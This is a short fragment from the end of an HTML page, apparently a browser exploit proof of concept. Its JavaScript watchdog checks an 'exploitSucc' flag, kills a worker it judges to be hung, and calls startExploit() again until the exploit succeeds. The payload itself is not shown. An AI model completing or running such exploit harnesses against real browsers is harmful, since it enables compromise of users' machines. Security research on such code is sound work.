var savedCount = 0;  
var hangMonitor = setInterval(function (){  
if(exploitSucc==true){  
clearInterval(hangMonitor);  
}else{  
if(savedCount==count){//maybe hang  
print("worker maybe hange");  
worker.terminate();  
startExploit();  
}else{  
print("worker is normal");  
savedCount = count;  
}  
}  
},10000);  
//URL.revokeObjectURL( blobURL );  
  
  
</script>  
</html>  
  
`